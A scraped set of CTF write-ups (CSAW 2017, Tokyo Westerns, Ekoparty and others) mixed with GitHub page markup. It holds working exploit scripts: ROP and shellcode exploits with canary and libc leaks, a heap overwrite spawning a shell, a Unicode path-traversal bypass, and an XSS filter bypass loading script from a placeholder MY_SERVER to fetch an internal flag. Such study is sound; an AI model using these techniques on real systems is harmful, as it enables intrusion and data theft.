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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>scv</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>scv.bndb</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sol.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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# ▼▼▼orange v3(Web:300)(90/1444 team=6.23%)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```I wrote a little proxy program in NodeJS for my poems folder but I'm bad at programming so I had to rewrite it. Again.I changed up flag.txt too but everyone still wants to read it...http://web.chal.csaw.io:7312/?path=orange.txt```
### 【function】
GET /?path=orange.txt
↓
`i love oranges`
### 【goal】
find **flag.txt**
### 【Search for vulnerabilities】
GET /?path= ⇒ 403応答「`WHOA THATS BANNED!!!!`」
GET /?path=.txt ⇒ 404応答
GET /?path=../.txt ⇒ 403応答「`WHOA THATS BANNED!!!!`」
GET /?path=%252e%252e/.txt ⇒ 403応答「`WHOA THATS BANNED!!!!`」
↓
**.txt is required.★**
**".." and "Double encode" are detected★**
-----
`path.indexOf("ＮＮ") == -1` in server.js at orange **v1** became a hint.
↓
Ｎ is not N(U+004E) but **U+FF2E**：[http://www.fileformat.info/info/unicode/char/ff2e/index.htm](http://www.fileformat.info/info/unicode/char/ff2e/index.htm)
↓
It seems that 2E is interpreted as dot(U + 002E).
-----
Look for something similar to U+FF2E
↓
**U+2E2E**：[http://www.fileformat.info/info/unicode/char/2e2e/index.htm](http://www.fileformat.info/info/unicode/char/2e2e/index.htm)
↓
2E2E was interpreted as **2E**
-----
**U+2E2E**
↓
UTF-8 (hex) **0xE2 0xB8 0xAE (e2b8ae)**
↓
http://web.chal.csaw.io:7312/?path=**%E2%B8%AE%E2%B8%AE**/flag.txt
↓
**flag{s0rry_this_t00k_s0_m@ny_tries...}**
### first solve!!
-----
### -----Reference: Other source code-----
GET /?path=%E2%B8%AE%E2%B8%AE/server**%E2%B8%AE**js**%23**.txt
↓
```var http = require('http');var fs = require('fs');var url = require('url');
var server = http.createServer(function(req, res) { try { var path = url.parse(req.url, true).query; path = path['path']; var no_ext = path.substring(0, path.length - 4); var ext = path.substring(path.length - 4, path.length); console.log(path); console.log(no_ext); console.log(ext); if (no_ext.indexOf(".") == -1 && path.indexOf("Ｎ") == -1 && path.indexOf("%") == -1 && ext == '.txt') { var base = "http://localhost:8080/poems/"; var callback = function(response){ var str = ''; response.on('data', function (chunk) { str += chunk; }); response.on('end', function () { res.end(str); }); } http.get(base + path, callback).end(); } else { res.writeHead(403); res.end("WHOA THATS BANNED!!!!"); } } catch (e) { res.writeHead(404); res.end('Oops'); }});server.listen(9999);``` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF</span></span></span><span>/</span><span><span>2017</span></span><span>/</span><span><span>CSAW</span></span><span>/</span>Zone_300<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF</span></span></span><span>/</span><span><span>2017</span></span><span>/</span><span><span>CSAW</span></span><span>/</span>Zone_300<span>/</span></div>
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# ▼▼▼Missed Registration (Forensics:150)(143/1444 team=9.9%)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```It's registration day! These forms just seem longer and longer...UPDATE 10:44 Eastern: New pcap that should be a bit easier to work with.UPDATE 2:58 Eastern: We're regenerating due to flag leaks, submissions disabled until then. Please be patient.Update 3:31 Eastern: Updated pcap with new flag after leak. Please re-run your solutions on the file!・cap.pcap file is given.```
### 【Analytics】
・A lot of HTTP protocol are transmitted.
・it seems to be a **BMP file** because **the value of the x parameter** of the first request begins with **42 4d**.
### 【exploit】
Extract & combine the value of x parameter
↓
`$ strings cap.pcap | grep "x=" |sed 's/.*x=\([a-f0-9]*\).*/\1/' > test.txt`
`$ xxd -r -p test.txt test.bmp`
↓
**FLAG{3Am_LaunDR3Y_FL4G_L34kz!}** |
1. using `idx = 0` leak one of menu string ptr addr2. calculate flag addr based on leak3. using `idx = 0` overwrite one of menu string ptr with flag addr4. leak flag by printing menu
Please follow the detailed writeup [here](https://github.com/irGeeks/ctf/tree/master/2017-CSAW/firewall) |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>csaw</span></span><span>/</span>scv<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf</span></span></span><span>/</span><span><span>csaw</span></span><span>/</span>scv<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/krornus/ctf/tree-commit/e1f90e89c2e0e3b1b9ba535b4517832bcf42a72d/csaw/scv" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libc-2.23.so</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>scv</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>scv.bndb</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sol.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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|
```#usr/bin/python
from pwn import *
r = remote('pwn.chal.csaw.io',3764)#r = process('./scv')print util.proc.pidof(r)elf = ELF('./bc.so.6')
def feedscv(food): r.recvuntil('>>') r.sendline('1') r.recvuntil('>>') r.send(food)
def reviewfood(): r.recvuntil('>>') r.sendline('2')
def mine(): r.recvuntil('>>') r.sendline('3')
payload = ''payload += 'A'*40feedscv(payload)reviewfood()junk = r.recvuntil('WELL.....')junk = r.recvline()junk = r.recvn(66)leak = u64(r.recvn(6).ljust(8,'\x00'))log.info('leak is:%s' % hex(leak))libc_base = leak - 0x3a299log.info('libc base is:%s' % hex(libc_base))binsh = next(elf.search('/bin/sh'))sh_addr = libc_base + binshlog.info('bin sh address is:%s' % hex(sh_addr))system_addr = libc_base + 0x45390log.info('system address is:%s' % hex(system_addr))
payload = ''payload += 'A'*0xa8 + 'B'feedscv(payload)reviewfood()junk = r.recvuntil('B')canary = u64(r.recvn(7).strip().ljust(8,'\x00'))*0x100log.info('canary is:%s' % hex(canary))
payload = ''payload += 'A'*0xa8payload += p64(canary)payload += p64(0xdeadbeef)payload += p64(0x400ea3) #pop rdi,retpayload += p64(sh_addr)payload += p64(system_addr)
feedscv(payload)pause()mine()
r.interactive()``` |
# Shopping (Pwn, 352p, 90 solved)
A bit of an overstatement to call this `pwn`.After passing some PoW we get access to a black-box shopping service:
```Welcome to Ekoparty shopping CenterFeel free to buy up to 5 items that you may likeUse wisely your coins, have fun!
You have 50 coinsWhat do you wanna buy today?1. t-shirt 102. short 203. stickers 14. flag ?```
If we select an item and quantity it will subtract `price*quantity` from our coins if we had enough.The trick here is to notice that we can pass 0 or even negative numbers as quantity, and the application doesn't check it.If we pass a negative number it will give us coins.But we don't even need that much, we can just buy 0 or -1 flags and it will be enough.
We run:
```pythonimport hashlibimport re
import os
from crypto_commons.netcat.netcat_commons import nc, send, interactive
def PoW(task): while True: data = os.urandom(10) if hashlib.sha1(data).hexdigest()[0:6] == task: return data
def main(): url = "shopping.ctf.site" port = 21111 s = nc(url, port) data = s.recv(9999) task = re.findall("== (.*)", data)[0] send(s, PoW(task)) print(s.recv(9999)) send(s, "4") print(s.recv(9999)) send(s, "0") print(s.recv(9999)) interactive(s)
main()```
and we get `EKO{d0_y0u_even_m4th?}` |
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<title>CTFs/Tokyo Westerns CTF 3rd 2017/Palindromes Pairs - Coding Phase at master · AnisBoss/CTFs · GitHub</title>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTFs</span></span></span><span>/</span><span><span>Tokyo Westerns CTF 3rd 2017</span></span><span>/</span>Palindromes Pairs - Coding Phase <span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTFs</span></span></span><span>/</span><span><span>Tokyo Westerns CTF 3rd 2017</span></span><span>/</span>Palindromes Pairs - Coding Phase <span>/</span></div>
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|
```Caesar cipherCvht_Cvooz{D35bS_3OD0E3_4S3_O0U_T3DvS3_BU_4MM} ROT25 ("rotate by 25 places", sometimes hyphenated ROT-25) Bugs_Bunny{C35aR_3NC0D3_4R3_N0T_S3CuR3_AT_4LL} ``` |
```#usr/bin/python
from pwn import *
r = remote('pwn.chal.csaw.io',8464)#r = process('./pilot')print util.proc.pidof(r)
shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'r.recvuntil('[*]Location:')ret_addr = int(r.recvline(),16)print hex(ret_addr)r.recvuntil('[*]Command:')payload = ''payload += shellcodepayload = payload.ljust(0x28,'\x90')payload += p64(ret_addr)pause()r.sendline(payload)
r.interactive()
``` |
[](ctf=csaw-quals-2017)[](type=exploit)[](tags=arbitrary-size)[](techniques=shellcode)
# minesweeper (pwn-500)
[Binary](../minesweeper)
```bash$ file minesweeperminesweeper: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped```
This solution would make you think that this challenge was not worth 500. Lets solve it without reversing the binary at all. The binary is UPX packed, so we first unpack it.
```bash$ cp minesweeper upx$ upx -d upx Ultimate Packer for eXecutables Copyright (C) 1996 - 2013UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013
File size Ratio Format Name -------------------- ------ ----------- ----------- 13132 <- 7936 60.43% netbsd/elf386 upx
Unpacked 1 file.$ file upxupx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=90ec16e6be18b19942bf2952db17a7c1ed3ca482, stripped$ checksec upx Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments```
This makes more sense. A pwn worth 500 with no protections??? seriously??When we run it it says server started. `netstat` tells the port to be 31337. The process wais for a connection and then forks.I connect to the port and attach gdb to the child.
```bashnc 127.0.0.1 31337
Hi. Welcome to Minesweeper. Please select an option:1) N (New Game)2) Initialize Game(I)3) Q (Quit)IPlease enter in the dimensions of the board you would like to set in this format: B X YB 10 10```On the binary's STDOUT it said `Allocated buffer of size: 81`.The problem is obvious now, it should have allocated 100 bytes instead.We can send in our input which will be copied to the buffer, so its probably an out of bounds write. Using `cyclic` from the awesome pwntools I send a payload `'XXXX'+cyclic(96)`. It crashed!```bashProgram received signal SIGSEGV, Segmentation fault.0x08049855 in ?? ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA[────────────────────────────────────REGISTERS─────────────────────────────────────]*EAX 0x61616176 ('vaaa')*EBX 0x0*ECX 0x4*EDX 0x61616177 ('waaa') EDI 0xf76f8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */*ESI 0xf76f8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */*EBP 0xffcc5908 —▸ 0xffcc5948 —▸ 0xffcc5998 —▸ 0xffcc59e8 ◂— ...*ESP 0xffcc58f0 ◂— 0x0*EIP 0x8049855 ◂— mov dword ptr [eax + 8], edx[──────────────────────────────────────DISASM──────────────────────────────────────] ► 0x8049855 mov dword ptr [eax + 8], edx 0x8049858 mov eax, dword ptr [ebp + 8] 0x804985b mov eax, dword ptr [eax + 8] 0x804985e mov edx, dword ptr [ebp - 0x10] 0x8049861 mov dword ptr [eax + 4], edx 0x8049864 mov eax, dword ptr [stderr] <0x804bdbc> 0x8049869 push eax 0x804986a push 9 0x804986c push 1 0x804986e push 0x804a87c 0x8049873 call fwrite@plt <0x80486a0>[──────────────────────────────────────STACK───────────────────────────────────────]00:0000│ esp 0xffcc58f0 ◂— 0x001:0004│ 0xffcc58f4 —▸ 0xf76f8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */02:0008│ 0xffcc58f8 ◂— 0x61616176 ('vaaa')03:000c│ 0xffcc58fc ◂— 0x61616177 ('waaa')04:0010│ 0xffcc5900 ◂— 0x405:0014│ 0xffcc5904 —▸ 0x8f90024 ◂— 0x58585858 ('XXXX')06:0018│ ebp 0xffcc5908 —▸ 0xffcc5948 —▸ 0xffcc5998 —▸ 0xffcc59e8 ◂— ...07:001c│ 0xffcc590c —▸ 0x80499ea ◂— add esp, 0x10[────────────────────────────────────BACKTRACE─────────────────────────────────────] ► f 0 8049855 f 1 80499ea f 2 8049526 f 3 80496b0 f 4 8049b75 f 5 8049d96 f 6 f755e637 __libc_start_main+247Program received signal SIGSEGV (fault address 0x6161617e)pwndbg>```
`eax` holds data at offset 88 and `edx` at 92. This would give us a very clean write-what-where. However there's a catch, contnuing execution to `0x8049861` shows that another write primitive with `eax`=`edx`. This could fuck up the clean primitive we had to write as now we need the `what` and `where` regions to be writable.
The input is saved on a custom heap with rwxp. Come on! Its 2017!```0x8f90000 0x8f91000 rwxp 1000 0 [heap]```A straight leak is also available when you view the board in the game. I foud out that if you view the board without initializing the board, you leak stack and libc. When you view it with a small initialized board you can leak the heap. Now its easy!
+ Leak the stack and heap.+ Initialize a board large enough to contain our shellcode and calculate save eip on the stack for the function which gives us the write primitive.+ Calculate shellcode's location on heap and replace eip with it.
For shellcode I used awesome `pwntools` - `pwnlib.shellcraft.i386.linux.dupsh()`. It'll take the fd of your socket and dup() it with stdin and stdout and then give you a shell.
```pythonfrom pwn import *
context(arch='i386', os='linux', log_level='info')
s = remote('pwn.chal.csaw.io',7478)
for _ in xrange(5): s.recvline()s.sendline("N")for _ in xrange(4): s.recvline()s.sendline("V")s.recvline()r = s.recv(144)print len(r)stack = u32(r[91:95])success(hex(stack))s.sendline("Q")for _ in xrange(5): s.recvline()s.sendline('I')s.recvline()s.sendline("B 4 4")for _ in xrange(20): s.recvline()s.sendline('X'*16)for _ in xrange(12): s.recvline()s.sendline('N')for _ in xrange(4): s.recvline()s.sendline('V')s.recvline()r = s.recv(0x20)heap = u32(r[15:19])success(hex(heap))sleep(5)for _ in xrange(5): s.recvline()for _ in xrange(5): s.recvline()s.sendline("Q")for _ in xrange(5): s.recvline()s.sendline('I')s.recvline()s.sendline("B 20 20")for _ in xrange(20): s.recvline()
payload = '\xeb\x06'+'X'*4+'\x90'*2+asm('mov ebp,0x4')+asm(pwnlib.shellcraft.i386.linux.dupsh())payload += 'X'*(400-len(payload)-24)payload += p32(stack-47-8)+p32(heap+12)+'X'*16
s.sendline(payload)s.interactive()```
Easiest 500 points I ever scored! |
Write up for flag 1 AND flag 2  |
# CSAW 2017 Quals# Serial##### Patricia Wilthew -- USF Whitehatter's Computer Security Club##### misc -- 50 points## Description
Serial`nc misc.chal.csaw.io 4239`
## Solution
Note that we get 11 bits everytime. The first and the last bits are always 0 and 1. That leaves us with 9 bits. The last of those 9 bits is the parity bit. A serial will be considered correct if the number of ones in the 8 bit string is even and the parity bit is 0, or if the number of ones is odd and the parity bit is 1.
~~~python#!/usr/bin/env python2from pwn import *import socket import binasciis = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("misc.chal.csaw.io", 4239))
#r = remote("misc.chal.csaw.io", 4239)
msg = s.recv(512)
string = (msg.splitlines()[1]).strip() Flag = []
while True: print "String",string serial = string[1:9] parity = string[9] print "Serial",serial number_of_ones = serial.count('1')
# if a serial is correct, append it to Flag array in ascii respresentation if (number_of_ones%2==0 and parity=='0') or (number_of_ones%2==1 and parity=='1'): s.send('1\n') print "1" Flag.append(binascii.unhexlify('%x' % int(serial,2)))
else: # if a serial has errors, discard it s.send('0\n') print "0" string = (s.recv(512)).strip() print ''.join(Flag)
~~~ |
```unzip task85.zipflag.zip with passwordflags folder found16 flags not same another (it's same QR Code)sort them and rebuild one QR Code```[QR Code](http://imgur.com/a/K78ax)```== 34Sy_P4SSW0Rd_H4X0r ==i can unzip flag.zipflag.txt and Readme foundflag.txt is fake (flag is not here !!!)flag found in Readme01000010 01110101 01100111 01110011 01011111 01000010 01110101 01101110 01101110 01111001 01111011 00110010 01100010 00111001 00110111 00110010 00110110 00110011 01100010 01100101 01100010 00110111 00110000 01100100 00110000 01100110 00110110 00110101 00111001 01100010 01100100 01100010 00111001 00110011 01100011 01100011 00110101 00110010 00111001 00110001 01100100 00110000 01100001 01111101 Convert Binary to ASCIIBugs_Bunny{2b97263beb70d0f659bdb93cc5291d0a}``` |
# **▼▼▼▼Clock Style Sheet(Web)、337点(5/901=0.6%)▼▼▼▼****This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
http://css.chal.ctf.westerns.tokyo/
【機能】
・ブラウザでアクセスすると、http://css.chal.ctf.westerns.tokyo/please%20disable%20Javascript に飛ばされて404応答になる。
・URLに「**please disable Javascript**」と記載があるので、IEブラウザで[スクリプト]＞[アクティブスクリプト]＞[無効]として、javascriptを無効にすると、Style Sheetで動く時計が表示される。
・Refreshボタンがあり、押下すると時計がリフレッシュされる。
【ソースコードが2つ提供されている】
・proxy.py
・sanitizer.py
【情報収集】
### -----1. まずリクエスト＆レスポンスをBurpSuiteで確認-------------------------------------
GET /
↓
```
```
⇒コメント欄に新たなアクセス先が書かれている★
新たなURLにアクセスしてみる。
↓
GET /chrowler/
↓
URL入力欄がある。
同時に、下記のようにpythonのソースコードが表示されている。
↓
```from selenium import webdriverfrom selenium.webdriver.common.keys import Keysfrom selenium.webdriver.chrome.options import Options
from urlparse import urlparseimport sys
url = ""
pr = urlparse(url)assert pr.scheme in ['http', 'https'], "only http or https is supported"
options = Options()options.add_argument('--headless')options.add_argument('--disable-gpu')options.add_argument('--disable-javascript')options.add_argument("--proxy-server=localhost:8080") # sanitizer proxydriver = webdriver.Chrome("/usr/local/bin/chromedriver", chrome_options=options)
driver.get(url)driver.quit()```
↓
・http', 'https'のみサポート★ ※**実際はhttp:// しか通らない。**
・options.add_argument("--proxy-server=localhost:8080") # sanitizer proxy ※sanitizer用のproxyが通されている(ソースコードが提供されていたもの)★
### -----2. XSSの脆弱性を探す----------------------------------------------------------------------------------------
GET /refresh HTTP/1.1
Referer:**test">**
Host: css.chal.ctf.westerns.tokyo
↓
```<meta http-equiv="refresh" content="0;URL=test"> ">```
↓
**RefererヘッダにXSSの脆弱性が存在する。**
ソースコード(proxy.py)を確認する。
↓
```headers = {k:v for k,v in request.headers if v} ```
↓
**headerがproxyにてURLデコードされている。**★
↓
**全ブラウザにて、RefererヘッダでXSS可能**
ソースコード(sanitizer-3.py)を確認する。
↓
```def htmlsanitize(s): while True: m = re.match(r'.*(script).*', s, re.IGNORECASE) if not m: break s = s.replace(m.group(1), '') while True: m = re.match(r'.*(on.+=).*', s, re.IGNORECASE) if not m: break s = s.replace(m.group(1), '') return s```
↓
上記のソースコードを確認すると、scriptとon.+=は削除されているのはわかるが、同時に削除していない★
※通常は同時に検知しながら削除していく。 PHPの例：preg_replace('/script|on.+=/i','',$_SERVER['HTTP_REFERER'])
よって、下記でfilterをバイパスできる
↓
GET /refresh HTTP/1.1
Referer:**"><scripond=t>alert(1)</scripond=t>**
Host: css.chal.ctf.westerns.tokyo
↓```<meta http-equiv="refresh" content="0;URL="><script>alert(1)</script>"> ```
↓
**任意のjavascriptを実行可能★**
### -----3. flagの場所を探す-------------------------------------------------------------------------------------
次に、Refererを削除してみる。
↓
GET /refresh HTTP/1.1
Host: css.chal.ctf.westerns.tokyo
↓
```<meta http-equiv="refresh" content="0;URL=/flag">```
↓
**flagの場所**を発見★
http://css.chal.ctf.westerns.tokyo/flag にアクセスしてみる。
↓
**only local IP is allowed.** (your IP: ○.○.○.○)
### -----4. javascriptでローカルIPアドレスを取得する----------------------------------------------------
javascriptでローカルIPアドレスを取得する方法(https://github.com/diafygi/webrtc-ips)を参考に修正。
↓
```<script>function getIPs(callback){var ip_dups={};var RTCPeerConnection=window.RTCPeerConnection||window.mozRTCPeerConnection||window.webkitRTCPeerConnection;var useWebKit=!!window.webkitRTCPeerConnection;if(!RTCPeerConnection){var win=iframe.contentWindow;RTCPeerConnection=win.RTCPeerConnection||win.mozRTCPeerConnection||win.webkitRTCPeerConnection;useWebKit=!!win.webkitRTCPeerConnection;}var mediaConstraints={optional:[{RtpDataChannels:true}]};var servers={iceServers:[{urls:"stun:stun.services.mozilla.com"}]};var pc=new RTCPeerConnection(servers,mediaConstraints);function handleCandidate(candidate){var ip_regex=/([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/;var ip_addr=ip_regex.exec(candidate)[1];if(ip_dups[ip_addr]===undefined)callback(ip_addr);ip_dups[ip_addr]=true;}pc.onicecandidate=function(ice){if(ice.candidate)handleCandidate(ice.candidate.candidate);};pc.createDataChannel("");pc.createOffer(function(result){pc.setLocalDescription(result,function(){},function(){});},function(){});setTimeout(function(){var lines=pc.localDescription.sdp.split('\n');lines.forEach(function(line){if(line.indexOf('a=candidate:')===0)handleCandidate(line);});},1000);}getIPs(function(ip){location="http://MY_SERVER/"+ip;});</script>```
↓
192.168.0.5が得られた。
### -----5.RefererヘッダにXSSを挿入して、WebサーバのIPアドレスを探しながら、flagを取得する---------
http://MY_SERVER/tmp/request.php にアクセスさせる。
↓
```<meta name="referrer" content="always"><script>history.replaceState('','','http://MY_SERVER/t/"><scripond=t src="http://MY_SERVER/tmp/b.js"></scripond=t>');location="http://192.168.0.●/refresh";</script>```
http://MY_SERVER/tmp/b.js
↓
```var x=new XMLHttpRequest();x.open("GET","http://192.168.0.●/flag",false);x.send();var m = 'flag';for (var i=0; i |
Challenge: Report----------------------------------------Category: Misc----------------------------------------200 points ----------------------------------------
```Description:
Report - Misc (200 + 0)
Mr. Belford sucks, is he hiding something....
Solves: 48
Download: http://dl.ctf.rocks/Report.tar.gz
Author: d3vnu11
```the PDF file in the sources files.
We can see in the strings:
``` shell7d5943554c5f4b413352425f30545f3343314e5f37304e7b54434553
}YCUL_KA3RB_0T_3C1N_70N{TCES
reverse = SECT{N07_N1C3_T0_BR3AK_LUCY}```
SECT{N07_N1C3_T0_BR3AK_LUCY} |
# Orange v1## 100 points## Web
#### I wrote a little proxy program in NodeJS for my poems folder.#### Everyone wants to read flag.txt but I like it too much to share.#### http://web.chal.csaw.io:7311/?path=orange.txt
This challange was actually an unintended solution for what became the `orange v3` challenge.
We're presented with some type of file getting proxy service where the filenameis a parameter in the URL. We can make a request with no url and it returns adirectory listing of the folder (notice no flag.txt in here):
When we click on one of the listed files (try to request them directly), we arepresented with what looks like their 404 error of `Oops`.
The same happens if we try to look in the `poems` folder as mentioned by thechallenge description.
The description does say that this is a proxy service, so these files appear tobe requested by the running web app from some other web service. Since we'relooking for a file that must be in a directory at least on level up, let's tryto figure out how to travese directories. It turns out, that by simply using [double url encoding](https://www.owasp.org/index.php/Double_Encoding), we can get the flag.
### flag: flag{thank_you_based_orange_for_this_ctf_challenge} |
# tablEZ`100pts` `342 solves` `Reversing`
-----
* *@author*: derbenoo * *@note*: The original write-up is located [here](https://derbenoo.github.io/ctf/2017/09/18/csaw_qual_17_tablez/)
-----
## Challenge Description
Bobby was talking about tables a bunch, so I made some table stuff. I think this is what he was talking about...
[tablEZ](https://ctf.csaw.io/files/d814c19920533b7dac9e20a2efb4fe4f/tablez)
## Overview
We check out the binary:
```$ file tableztablez: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=72adea86090fb7deeb319e95681fd2c669dcc503, not stripped```
When we execute the binary, we are prompted to input the flag. Since we don't know it (yet), the response is a simple "WRONG" message. We open the binary in IDA and see that it is quite small so we can quickly analyze the code and figure out what is going on:
So our input has to be 37 characters long and each character is replaced by a corresponding value that is stored in a table. Finally, the transformed input is compared to the constant value that was defined at the beginning and if they are equal, the "CORRECT <3" message is printed. There are many ways to reverse the table lookup for the constant value, but we decide to let the binary do the work for us.
## Let the binary do the work for us
The `get_tbl_entry` function looks like the following:
